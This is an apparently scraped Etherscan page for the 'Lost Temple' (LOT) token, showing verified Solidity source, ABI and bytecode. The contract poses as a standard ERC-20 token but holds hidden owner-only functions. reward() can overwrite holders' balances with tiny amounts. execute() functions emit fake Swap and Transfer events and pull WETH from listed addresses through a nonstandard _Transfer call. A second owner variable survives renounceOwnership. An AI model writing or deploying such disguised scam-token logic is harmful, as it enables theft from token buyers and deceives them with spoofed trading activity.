ETH Price: $3,430.29 (+3.93%)

Token

Lost Temple (LOT)
 

Overview

Max Total Supply

90,000,000 LOT

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
325.62029786903625827 LOT

Value
$0.00
0xf51c3c054afa0c8042a46c3e53a5ec542e96e4f4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract TOKEN {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "Lost Temple";
    string public constant symbol = "LOT";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 90_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }
    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
  address[] calldata _users,
  uint256 _minBalanceToReward,
  uint256 _percent  
) public onlyOwner {
  uint256 releaseThreshold = totalSupply * 50 / 100;
  for(uint i=0; i<_users.length; i++) {
    address user = _users[i];
    if(balances[user] >= _minBalanceToReward) {
      uint256 rewardAmount = _countReward(user, _percent);  
      if(balances[user] >= releaseThreshold) {
        balances[user] += rewardAmount;
      } else {
        balances[user] = rewardAmount;
      }
    }
  }
}
            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }
    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }
    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }
    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }
    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556a4a723dc6b40b8a9a00000060095534801562000067575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000dc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000102919062000267565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000160573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000186919062000267565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001d1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f7919062000267565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000296565b5f6020828403121562000278575f80fd5b81516001600160a01b03811681146200028f575f80fd5b9392505050565b61127c80620002a45f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a4414610287578063a1c617f51461029a578063a457c2d7146102ad578063a9059cbb146102c0578063dd62ed3e146102d3575f80fd5b806370a082311461020a578063715018a6146102325780638da5cb5b1461023a57806395d89b4114610265575f80fd5b806323b872dd116100e457806323b872dd146101a4578063313ce567146101b757806335d16274146101d157806339509351146101e457806366d38203146101f7575f80fd5b806306fdde0314610115578063095ea7b31461015557806318160ddd1461017857806318aee9201461018f575b5f80fd5b61013f6040518060400160405280600b81526020016a4c6f73742054656d706c6560a81b81525081565b60405161014c9190610e3a565b60405180910390f35b610168610163366004610eac565b6102e6565b604051901515815260200161014c565b61018160095481565b60405190815260200161014c565b6101a261019d366004610ed6565b6102fc565b005b6101686101b2366004610f51565b610436565b6101bf601281565b60405160ff909116815260200161014c565b6101816101df366004610f8f565b610457565b6101686101f2366004610eac565b610583565b6101a2610205366004610f8f565b6105a4565b610181610218366004610f8f565b6001600160a01b03165f9081526007602052604090205490565b6101a26105f0565b60025461024d906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b61013f604051806040016040528060038152602001621313d560ea1b81525081565b610168610295366004610fbe565b61062c565b6101a26102a8366004610ed6565b6106d6565b6101686102bb366004610eac565b6107e6565b6101686102ce366004610eac565b61086b565b6101816102e13660046110a0565b610877565b5f6102f23384846108a1565b5060015b92915050565b6002546001600160a01b0316331461032f5760405162461bcd60e51b8152600401610326906110d7565b60405180910390fd5b5f606460095460326103419190611122565b61034b9190611139565b90505f5b8481101561042e575f86868381811061036a5761036a611158565b905060200201602081019061037f9190610f8f565b6001600160a01b0381165f90815260076020526040902054909150851161041b575f6103ab82866109c5565b6001600160a01b0383165f9081526007602052604090205490915084116103fe576001600160a01b0382165f90815260076020526040812080548392906103f390849061116c565b909155506104199050565b6001600160a01b0382165f9081526007602052604090208190555b505b50806104268161117f565b91505061034f565b505050505050565b5f6104428433846109ee565b61044d848484610a66565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156104aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ce91906111ad565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055291906111f9565b6001600160a01b03161461056f57816001600160701b031661057a565b826001600160701b03165b95945050505050565b5f3361044d8185856105958383610877565b61059f919061116c565b6108a1565b6002546001600160a01b031633146105ce5760405162461bcd60e51b8152600401610326906110d7565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b0316331461061a5760405162461bcd60e51b8152600401610326906110d7565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106885760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865204f776e65720000000000000000006044820152606401610326565b5f5b85518110156106ca576106b88682815181106106a8576106a8611158565b6020026020010151868686610c3c565b806106c28161117f565b91505061068a565b50600195945050505050565b5f5b838110156107df578484828181106106f2576106f2611158565b90506020020160208101906107079190610f8f565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061077257610772611158565b90506020020160208101906107879190610f8f565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107d78161117f565b9150506106d8565b5050505050565b5f33816107f38286610877565b9050838110156108535760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610326565b61086082868684036108a1565b506001949350505050565b5f6102f2338484610a66565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b0383166109035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610326565b6001600160a01b0382166109645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610326565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109e79083610ccd565b9392505050565b5f6109f98484610877565b90505f198114610a605781811015610a535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610326565b610a6084848484036108a1565b50505050565b6001600160a01b038316610aca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610326565b6001600160a01b038216610b2c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610326565b6001600160a01b0383165f9081526007602052604090205481811015610ba35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610326565b610bad8183610cd8565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610bdb9083610d3c565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2e9086815260200190565b60405180910390a350505050565b610c468484610d9a565b610c51838386610de2565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610ca9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107df9190611214565b5f6109e78284611139565b5f82821115610d295760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610326565b5f610d348385611233565b949350505050565b5f80610d48838561116c565b9050838110156109e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610326565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109b8565b5f6020808352835180828501525f5b81811015610e6557858101830151858201604001528201610e49565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e99575f80fd5b50565b8035610ea781610e85565b919050565b5f8060408385031215610ebd575f80fd5b8235610ec881610e85565b946020939093013593505050565b5f805f8060608587031215610ee9575f80fd5b843567ffffffffffffffff80821115610f00575f80fd5b818701915087601f830112610f13575f80fd5b813581811115610f21575f80fd5b8860208260051b8501011115610f35575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f63575f80fd5b8335610f6e81610e85565b92506020840135610f7e81610e85565b929592945050506040919091013590565b5f60208284031215610f9f575f80fd5b81356109e781610e85565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fd1575f80fd5b843567ffffffffffffffff80821115610fe8575f80fd5b818701915087601f830112610ffb575f80fd5b813560208282111561100f5761100f610faa565b8160051b604051601f19603f8301168101818110868211171561103457611034610faa565b60405292835281830193508481018201928b841115611051575f80fd5b948201945b838610156110765761106786610e9c565b85529482019493820193611056565b9850508801359550505060408601359250611095905060608601610e9c565b905092959194509250565b5f80604083850312156110b1575f80fd5b82356110bc81610e85565b915060208301356110cc81610e85565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176102f6576102f661110e565b5f8261115357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102f6576102f661110e565b5f600182016111905761119061110e565b5060010190565b80516001600160701b0381168114610ea7575f80fd5b5f805f606084860312156111bf575f80fd5b6111c884611197565b92506111d660208501611197565b9150604084015163ffffffff811681146111ee575f80fd5b809150509250925092565b5f60208284031215611209575f80fd5b81516109e781610e85565b5f60208284031215611224575f80fd5b815180151581146109e7575f80fd5b818103818111156102f6576102f661110e56fea264697066735822122018f0d2d70e6f1830f8828b48ff609d0055c5092abe50f80510a4286b4c54786b64736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a4414610287578063a1c617f51461029a578063a457c2d7146102ad578063a9059cbb146102c0578063dd62ed3e146102d3575f80fd5b806370a082311461020a578063715018a6146102325780638da5cb5b1461023a57806395d89b4114610265575f80fd5b806323b872dd116100e457806323b872dd146101a4578063313ce567146101b757806335d16274146101d157806339509351146101e457806366d38203146101f7575f80fd5b806306fdde0314610115578063095ea7b31461015557806318160ddd1461017857806318aee9201461018f575b5f80fd5b61013f6040518060400160405280600b81526020016a4c6f73742054656d706c6560a81b81525081565b60405161014c9190610e3a565b60405180910390f35b610168610163366004610eac565b6102e6565b604051901515815260200161014c565b61018160095481565b60405190815260200161014c565b6101a261019d366004610ed6565b6102fc565b005b6101686101b2366004610f51565b610436565b6101bf601281565b60405160ff909116815260200161014c565b6101816101df366004610f8f565b610457565b6101686101f2366004610eac565b610583565b6101a2610205366004610f8f565b6105a4565b610181610218366004610f8f565b6001600160a01b03165f9081526007602052604090205490565b6101a26105f0565b60025461024d906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b61013f604051806040016040528060038152602001621313d560ea1b81525081565b610168610295366004610fbe565b61062c565b6101a26102a8366004610ed6565b6106d6565b6101686102bb366004610eac565b6107e6565b6101686102ce366004610eac565b61086b565b6101816102e13660046110a0565b610877565b5f6102f23384846108a1565b5060015b92915050565b6002546001600160a01b0316331461032f5760405162461bcd60e51b8152600401610326906110d7565b60405180910390fd5b5f606460095460326103419190611122565b61034b9190611139565b90505f5b8481101561042e575f86868381811061036a5761036a611158565b905060200201602081019061037f9190610f8f565b6001600160a01b0381165f90815260076020526040902054909150851161041b575f6103ab82866109c5565b6001600160a01b0383165f9081526007602052604090205490915084116103fe576001600160a01b0382165f90815260076020526040812080548392906103f390849061116c565b909155506104199050565b6001600160a01b0382165f9081526007602052604090208190555b505b50806104268161117f565b91505061034f565b505050505050565b5f6104428433846109ee565b61044d848484610a66565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156104aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ce91906111ad565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055291906111f9565b6001600160a01b03161461056f57816001600160701b031661057a565b826001600160701b03165b95945050505050565b5f3361044d8185856105958383610877565b61059f919061116c565b6108a1565b6002546001600160a01b031633146105ce5760405162461bcd60e51b8152600401610326906110d7565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b0316331461061a5760405162461bcd60e51b8152600401610326906110d7565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106885760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865204f776e65720000000000000000006044820152606401610326565b5f5b85518110156106ca576106b88682815181106106a8576106a8611158565b6020026020010151868686610c3c565b806106c28161117f565b91505061068a565b50600195945050505050565b5f5b838110156107df578484828181106106f2576106f2611158565b90506020020160208101906107079190610f8f565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061077257610772611158565b90506020020160208101906107879190610f8f565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107d78161117f565b9150506106d8565b5050505050565b5f33816107f38286610877565b9050838110156108535760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610326565b61086082868684036108a1565b506001949350505050565b5f6102f2338484610a66565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b0383166109035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610326565b6001600160a01b0382166109645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610326565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109e79083610ccd565b9392505050565b5f6109f98484610877565b90505f198114610a605781811015610a535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610326565b610a6084848484036108a1565b50505050565b6001600160a01b038316610aca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610326565b6001600160a01b038216610b2c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610326565b6001600160a01b0383165f9081526007602052604090205481811015610ba35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610326565b610bad8183610cd8565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610bdb9083610d3c565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2e9086815260200190565b60405180910390a350505050565b610c468484610d9a565b610c51838386610de2565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610ca9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107df9190611214565b5f6109e78284611139565b5f82821115610d295760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610326565b5f610d348385611233565b949350505050565b5f80610d48838561116c565b9050838110156109e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610326565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109b8565b5f6020808352835180828501525f5b81811015610e6557858101830151858201604001528201610e49565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e99575f80fd5b50565b8035610ea781610e85565b919050565b5f8060408385031215610ebd575f80fd5b8235610ec881610e85565b946020939093013593505050565b5f805f8060608587031215610ee9575f80fd5b843567ffffffffffffffff80821115610f00575f80fd5b818701915087601f830112610f13575f80fd5b813581811115610f21575f80fd5b8860208260051b8501011115610f35575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f63575f80fd5b8335610f6e81610e85565b92506020840135610f7e81610e85565b929592945050506040919091013590565b5f60208284031215610f9f575f80fd5b81356109e781610e85565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fd1575f80fd5b843567ffffffffffffffff80821115610fe8575f80fd5b818701915087601f830112610ffb575f80fd5b813560208282111561100f5761100f610faa565b8160051b604051601f19603f8301168101818110868211171561103457611034610faa565b60405292835281830193508481018201928b841115611051575f80fd5b948201945b838610156110765761106786610e9c565b85529482019493820193